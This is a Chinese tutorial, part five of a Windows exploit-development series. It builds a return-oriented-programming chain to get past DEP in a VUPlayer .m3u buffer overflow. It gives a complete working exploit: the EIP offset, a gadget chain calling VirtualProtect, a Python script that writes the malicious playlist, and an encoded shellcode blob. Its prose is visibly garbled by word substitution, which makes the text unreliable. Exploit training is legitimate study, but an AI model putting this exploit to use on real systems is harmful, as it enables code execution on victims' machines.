快捷搜索:  网络  后门  CVE  渗透  木马  扫描  黑客  as

Windows漏洞行使开发教程Part 5:返归导向编程(ROP)

*

Windows漏洞行使开发教程 Part 5:返归导向编程(ROP)

1、媒介

漏洞——信息安全界至多见的词汇,在百度百科是如许描摹的:

漏洞是在硬件、软件、协定的详细完成或体系安全策略上存在的缺点,从而可以使攻击者能够在未授权的情形下走访或损坏体系。

本文首要先容的是Windows软件漏洞的行使开发教程。我花了大批的时间来研究了计算机安全领域Windows漏洞行使开发,希翼能以及人人分享一下,能帮助到对这方面感兴致的同伙,若有不足,还请见谅。

前文归顾

Windows漏洞行使开发教程Part 1

Windows漏洞行使开发教程Part 2:Short Jump

Windows漏洞行使开发教程Part 3:Egghunter

Windows漏洞行使开发教程 Part 4:SEH

二、预备阶段

欢迎来到Windows漏洞行使开发的第五篇文章,今天我们将讨论一种返归导向编程(ROP)手艺,该手艺通经常使用于解决被称为数据执行维护(DEP)的安全措施。DEP是数据执行维护的英文缩写,全称为Data Execution Prevention。数据执行维护(DEP) 是一套软硬件手艺,能够在内存上执行额外检查以防止在体系上运行恶意代码。

到目前为止,我们始终在使用Windows XP体系环境来学习怎么样攻击具有较少安全机制的操作体系。经过前面的几篇文章,我们是时辰换一套新的体系环境啦,对于本教程,我们将使用Windows 7体系环境。

接下来我们再次在捏造机中装置I妹妹unity Debugger,Python以及mona.py。详情请看第一篇文章。

预备就绪后我们最先学习ROP,目标软件是VUPlayer,查看漏洞详情或下载存在漏洞的软件请看下述链接:

https://www.exploit-db.com/exploits/40018/

在最先之前,我们还需要确保Windows 7捏造机的DEP已关上。

关上控制面板,体系以及安全->体系,然后点击高级体系配置

15278364348769.png!small

点击配置,配置数据执行维护为下图所示

1527836439446.png!small

3、漏洞行使开发阐发

最先以及之前是差不久不多的步骤,这也是漏洞行使开发必不可少的步骤,所以我们再也不做具体先容了,只是大致演示一下怎么阐发获取到一些必需的数据。

确认漏洞

起首我们肯定需要编写一个脚原先生成payload测试漏洞,这个漏洞在之前文章有先容过。

payload = 3000 * "A"
file = open('test.m3u','w')
file.write(payload)
file.close

我们是怎么简单怎么来,首要生成一个3000字符的测试文件test.m3u

使用I妹妹unity Debugger关上软件VUPlayer.exe,在关上的对话框中点击file-openplaylist关上测试文件test.m3u或者将测试文件test.m3u拖拽到VUPlayer对话框,可以发现EIP被A字符串笼盖。

15278364441127.png!small

EIP offset

接下来就是寻觅EIP的偏移量,很简单,我们使用mona来寻觅

生成测试字符:

!mona pc 3000

继续上面步骤后,查看EIP被笼盖的值

15278364493481.png!small

使用mona找到偏移量1012

!mona po 0x68423768

15278364538157.png!small

JMP ESP

接下来就寻觅一个JMP ESP,为什么要寻觅它,前面也先容过了,通过将EIP笼盖为它的地址跳出如许就可以无譬喻便的布局堆栈,确保shellcode顺利执行。

寻觅JMP ESP的mona指令人人还记得吧

!mona jmp -r esp

如许我们就得到了EIP要笼盖的地址0x1010539f

15278364582356.png!small

测试代码

现在可以加入摹拟shellcode来测试一下是否会顺利执行shellcode

# -*- coding: UTF-8 -*- 
import struct

total_num = 3000  #构建的payload大小,首要确保成功溢出
junk = "\x41" * 1012                #偏移
eip = struct.pack('<L',0x1010539f)    #EIP
nops = "\x90"*16                     #NOP
# 摹拟shellcode
shellcode = "\xCC" * 100
# 拼接exploit
exploit = junk + eip + nops + shellcode
fill = "\x43" * (total_num - len(exploit))
# 拼接payload
payload = exploit + fill
# 创建文件
file = open('test.m3u','w')
file.write(payload)
file.close()

使用I妹妹unity Debugger关上软件VUPlayer.exe,在关上的对话框中点击file-openplaylist关上测试文件test.m3u或者将测试文件test.m3u拖拽到VUPlayer对话框

15278364659407.png!small

你可以发现我们的shellcode并没有执行,要是继续下去程序就会崩溃,这是因为数据执行维护(DEP)阻止了我们shellcode的执行从而导致了程序的崩溃。然则,我们发现JMP ESP是执行了,所以说我们可以执行一些代码,但这条代码必须是现有的,就像我们之前可以运行的JMP ESP同样,它存在被允许执行的代码段中。这也恰是ROP手艺的症结地点。

4、ROP阐发及构建

现在我们来看一下问题的核心是什么,DEP阻止了操作体系将我们的0xCC诠释为INT指令,而不是它不知道0xCC是什么器械。要是没有DEP,操作体系就会知道0xCC是个INT指令,然后继续执行这个指令。启用DEP后,某些内存段就会被标记为NON-EXECUTABLE (NX),意思就是操作体系不会再将数据诠释为指令。然则DEP没有说我们不能执行标记为可执行的现有程序指令,譬如组成VUPlayer程序的代码,这在前面我们可以执行JMP ESP代码就可以看出了,因为该指令是在程序本身中找到的,被标记为可执行,因此程序可以运行。然而我们加入的shellcode是新的,所以它被放在了一个标记为不可执行的内存段。

ROP思惟

现在我们已经接触到ROP手艺的核心了,就是一个面向返归编程手艺。核心思惟就是网络一些现有的程序汇编指令,这些指令没有被DEP标记为不可执行,然后将它们链接在一块儿,黑客技术,告诉操作体系让我们的shellcode地区可执行。

我们网络的这些汇编指令被称为小配件(gadgets),这些小工具一般为一堆地址的情势,这些地址指向有效的汇编指令,然后是返归或RET指令,以最先执行链中的下一个小配件。这就是为什么它被称为面向返归编程。

我们怎么才能将shellcode地区标记为可执行呢?在Windows操作有很多办法,本文我们将使用VirtualProtect()函数,想具体了解这个函数请看下述链接:

https://msdn.microsoft.com/en-us/library/windows/desktop/aa366898(v=vs.85).aspx

先容完理论,现在我们就要来实战构建。

构建ROP Chain

起首,我们来看看想成功执行VirtualProtect()函数,需要哪些参数:

lpAddress:指向需要修改维护属性的页的基地址。所有的页必须在同一个函数 VirtualAlloc 或 VirtualAllocEx 调用使用 MEM_RESERVE 标记。页不可以跨越到临近的另一个以上两个函数使用 MEM_RESERVE 标记的页。

dwSize:需改变维护属性的内存大小,单位为Bytes 。改变范围为 lpAddress 到( lpAddress + dwSize )。这象征着要是范围跨越了一个页界,那么页界两边的两个页的维护属性均会被改变。

flNewProtect:内存维护属性常量(memory protection constants )。对于那些已经有用的页,要是这个参数与函数 VirtualAlloc 或 VirrualAllocEx 的配置冲突,该参数将被忽略。

lpflOldProtect:这个参数指向一个接受原维护属性的变量。要是该参数为NULL,则函数失败。

了解完参数,我们阐发看看这些参数怎么配置,lpAddress参数肯定配置为我们shellcode,dwSize配置为0×201,flNewProtect配置为0×40(常数,详细看下述链接),最后配置lpflOldProtect为任何静态可写的地位。接下来调用我们刚刚配置的VirtualProtect()函数就行了。

flNewProtect内存维护常数列表:

https://msdn.microsoft.com/en-us/library/aa366786(v=VS.85).aspx

起首,让我们找到小配件来构建VirtualProtect()函数所需的参数,点击e来获取属于VUPlayer的可执行模块。

15278364737651.png!small

要从我们选择的模块找到可用小配件列表,您可以在Mona中使用下列命令:

!mona rop -m "bass,basswma,bassmidi"

1527836479645.png!small

查看Mona生成的rop_suggestions.txt以及rop.txt文件

1527836485432.png!small

让我们来构建ROP chain

起首,让我们出栈一个值到EBP中,后面调用PUSHAD:

0x10010157,  # POP EBP # RETN [BASS.dll]
0x10010157,  # skip 4 bytes [BASS.dll]

通过取反得到值0×201,然后将值放入到EBX寄存器,作为参数dwSize的值

  0x10015f77,  # POP EAX # RETN [BASS.dll]
  0xfffffdff,  # Value to negate, will become 0x00000201
  0x10014db4,  # NEG EAX # RETN [BASS.dll]
  0x10032f72,  # XCHG EAX,EBX # RETN 0x00 [BASS.dll]

接下来,一样原理得到值0×40,然后将值放入到EDX寄存器,作为参数flNewProtect的值

  0x10015f82,  # POP EAX # RETN [BASS.dll]
  0xffffffc0,  # Value to negate, will become 0x00000040
  0x10014db4,  # NEG EAX # RETN [BASS.dll]
  0x10038a6d,  # XCHG EAX,EDX # RETN [BASS.dll]

然后我们需要找到一个可写地位地址,然后将值放入寄存器ECX中,作为参数lpflOldProtect的值

  0x101049ec,  # POP ECX # RETN [BASSWMA.dll]
  0x101082db,  # &Writable location [BASSWMA.dll]

为了等下调用调用PUSHAD,我们将一些值放入到EDI以及ESI寄存器中

  0x1001621c,  # POP EDI # RETN [BASS.dll]
  0x1001dc05,  # RETN (ROP NOP) [BASS.dll]
  0x10604154,  # POP ESI # RETN [BASSMIDI.dll]
  0x10101c02,  # JMP [EAX] [BASSWMA.dll]

最后,我们放入函数VirtualProtect()的地址来进行调用,EAX寄存器的值就是0x1060e25c

  0x10015fe7,  # POP EAX # RETN [BASS.dll]
  0x1060e25c,  # ptr to &VirtualProtect() [IAT BASSMIDI.dll]

接下来就很简单了,将我们配置的VirtualProtect()的寄存器压入堆栈,直接用了PUSHAD以及JMP ESP,PUSHAD压入堆栈,JMP ESP转到执行。

  0x1001d7a5,  # PUSHAD # RETN [BASS.dll]
  0x10022aa7,  # ptr to 'jmp esp' [BASS.dll]

PUSHAD将按下列顺序将寄存器值放在堆栈上:EAX、ECX、EDX、EBX、ESP, EBP, ESI,EDI。

Python:

def create_rop_chain():

    rop_gadgets = [
        0x10010157,  # POP EBP # RETN [BASS.dll]
        0x10010157,  # skip 4 bytes [BASS.dll]
        0x10015f77,  # POP EAX # RETN [BASS.dll]
        0xfffffdff,  # Value to negate, will become 0x00000201
        0x10014db4,  # NEG EAX # RETN [BASS.dll]
        0x10032f72,  # XCHG EAX,EBX # RETN 0x00 [BASS.dll]
        0x10015f82,  # POP EAX # RETN [BASS.dll]
          0xffffffc0,  # Value to negate, will become 0x00000040
          0x10014db4,  # NEG EAX # RETN [BASS.dll]
        0x10038a6d,  # XCHG EAX,EDX # RETN [BASS.dll]
        0x101049ec,  # POP ECX # RETN [BASSWMA.dll]
        0x101082db,  # &Writable location [BASSWMA.dll]
        0x1001621c,  # POP EDI # RETN [BASS.dll]
        0x1001dc05,  # RETN (ROP NOP) [BASS.dll]
        0x10604154,  # POP ESI # RETN [BASSMIDI.dll]
        0x10101c02,  # JMP [EAX] [BASSWMA.dll]
        0x10015fe7,  # POP EAX # RETN [BASS.dll]
        0x1060e25c,  # ptr to &VirtualProtect() [IAT BASSMIDI.dll]
        0x1001d7a5,  # PUSHAD # RETN [BASS.dll]
        0x10022aa7,  # ptr to 'jmp esp' [BASS.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

5、漏洞行使开发完成

再写脚本之前,我们要注意一下,现在我们要笼盖的EIP地址只要要跳转过去马上归来就行了,所以我们直接找个RETN指令地址就行啦。

Windows漏洞行使开发教程 Part 5:返归导向编程(ROP)

经过上面的阐发,完成起来就很简单了,详细请看下面代码以及注释:

# -*- coding: UTF-8 -*- 
import struct
# 构建ROP chain
def create_rop_chain():

    rop_gadgets = [
        0x10010157,  # POP EBP # RETN [BASS.dll]
        0x10010157,  # skip 4 bytes [BASS.dll]
        0x10015f77,  # POP EAX # RETN [BASS.dll]
        0xfffffdff,  # Value to negate, will become 0x00000201
        0x10014db4,  # NEG EAX # RETN [BASS.dll]
        0x10032f72,  # XCHG EAX,EBX # RETN 0x00 [BASS.dll]
        0x10015f82,  # POP EAX # RETN [BASS.dll]
          0xffffffc0,  # Value to negate, will become 0x00000040
          0x10014db4,  # NEG EAX # RETN [BASS.dll]
        0x10038a6d,  # XCHG EAX,EDX # RETN [BASS.dll]
        0x101049ec,  # POP ECX # RETN [BASSWMA.dll]
        0x101082db,  # &Writable location [BASSWMA.dll]
        0x1001621c,  # POP EDI # RETN [BASS.dll]
        0x1001dc05,  # RETN (ROP NOP) [BASS.dll]
        0x10604154,  # POP ESI # RETN [BASSMIDI.dll]
        0x10101c02,  # JMP [EAX] [BASSWMA.dll]
        0x10015fe7,  # POP EAX # RETN [BASS.dll]
        0x1060e25c,  # ptr to &VirtualProtect() [IAT BASSMIDI.dll]
        0x1001d7a5,  # PUSHAD # RETN [BASS.dll]
        0x10022aa7,  # ptr to 'jmp esp' [BASS.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

total_num = 3000  #构建的payload大小,首要确保成功溢出
# 调用生成ROP Chain函数
rop_chain = create_rop_chain()
junk = "\x41" * 1012                #偏移
eip = struct.pack('<L',0x10601058)    #EIP
nops = "\x90"*16                     #NOP
# shellcode
shellcode = ("\xbb\xc7\x16\xe0\xde\xda\xcc\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x33\x83\xc0\x04\x31\x58\x0e\x03\x9f\x18\x02\x2b\xe3\xcd\x4b"
"\xd4\x1b\x0e\x2c\x5c\xfe\x3f\x7e\x3a\x8b\x12\x4e\x48\xd9\x9e"
"\x25\x1c\xc9\x15\x4b\x89\xfe\x9e\xe6\xef\x31\x1e\xc7\x2f\x9d"
"\xdc\x49\xcc\xdf\x30\xaa\xed\x10\x45\xab\x2a\x4c\xa6\xf9\xe3"
"\x1b\x15\xee\x80\x59\xa6\x0f\x47\xd6\x96\x77\xe2\x28\x62\xc2"
"\xed\x78\xdb\x59\xa5\x60\x57\x05\x16\x91\xb4\x55\x6a\xd8\xb1"
"\xae\x18\xdb\x13\xff\xe1\xea\x5b\xac\xdf\xc3\x51\xac\x18\xe3"
"\x89\xdb\x52\x10\x37\xdc\xa0\x6b\xe3\x69\x35\xcb\x60\xc9\x9d"
"\xea\xa5\x8c\x56\xe0\x02\xda\x31\xe4\x95\x0f\x4a\x10\x1d\xae"
"\x9d\x91\x65\x95\x39\xfa\x3e\xb4\x18\xa6\x91\xc9\x7b\x0e\x4d"
"\x6c\xf7\xbc\x9a\x16\x5a\xaa\x5d\x9a\xe0\x93\x5e\xa4\xea\xb3"
"\x36\x95\x61\x5c\x40\x2a\xa0\x19\xbe\x60\xe9\x0b\x57\x2d\x7b"
"\x0e\x3a\xce\x51\x4c\x43\x4d\x50\x2c\xb0\x4d\x11\x29\xfc\xc9"
"\xc9\x43\x6d\xbc\xed\xf0\x8e\x95\x8d\x97\x1c\x75\x7c\x32\xa5"
"\x1c\x80")
# 拼接exploit
exploit = junk + eip + rop_chain + nops + shellcode
fill = "\x43" * (total_num - len(exploit))
# 拼接payload
payload = exploit + fill
# 创建文件
file = open('test.m3u','w')
file.write(payload)
file.close()

使用I妹妹unity Debugger关上软件VUPlayer.exe,在关上的对话框中点击file-openplaylist关上测试文件test.m3u或者将测试文件test.m3u拖拽到VUPlayer对话框,shellcode成功执行。

Windows漏洞行使开发教程 Part 5:返归导向编程(ROP)

堆栈情形:

Windows漏洞行使开发教程 Part 5:返归导向编程(ROP)

6、总结

使用!mona rop命令,在日记文件夹rop_chains.txt文件中也会自动生成一个完备的ROP chain,当然重点在于理解,要是自动生成的ROP chain在使用过程中失足,就需要本人慢慢去阐发并修改一些器械了。有攻必有防,攻与防老是相对于的,在这里谢谢无私分享手艺的安全研究人员,没有他们的分享就没有这篇文章。当然,我自认为本人了解照样太少了。照样那句话,自己水平有限,若有不足,还请各位兄弟指出。
*

您可能还会对下面的文章感兴趣: